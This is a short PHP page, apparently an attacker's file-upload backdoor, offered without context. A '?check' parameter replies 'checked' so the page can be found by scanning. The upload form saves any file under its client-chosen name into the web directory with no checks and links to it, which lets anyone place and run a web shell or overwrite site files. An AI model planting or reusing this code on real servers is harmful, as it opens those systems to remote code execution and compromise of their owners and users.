up

<?php
    if (isset ($_GET['check'])) {
        echo "checked";
        exit;
    }
?>

<!DOCTYPE html>
<html>
<head>
<meta charset=utf-8>
</head>
<body>
<h1>File</h1>


<form method="post" enctype="multipart/form-data">
<input type="file" name="filename"><br>
<input type="submit" value="LOAD"><br>
</form>

<?php
if (is_uploaded_file($_FILES["filename"]["tmp_name"]))
    {
    move_uploaded_file($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
    $file = $_FILES["filename"]["name"];
    echo '<a href='.$file.'>'.$file.'</a>';
    } else {
    echo("FILE");
    }

?>
</body>
</html>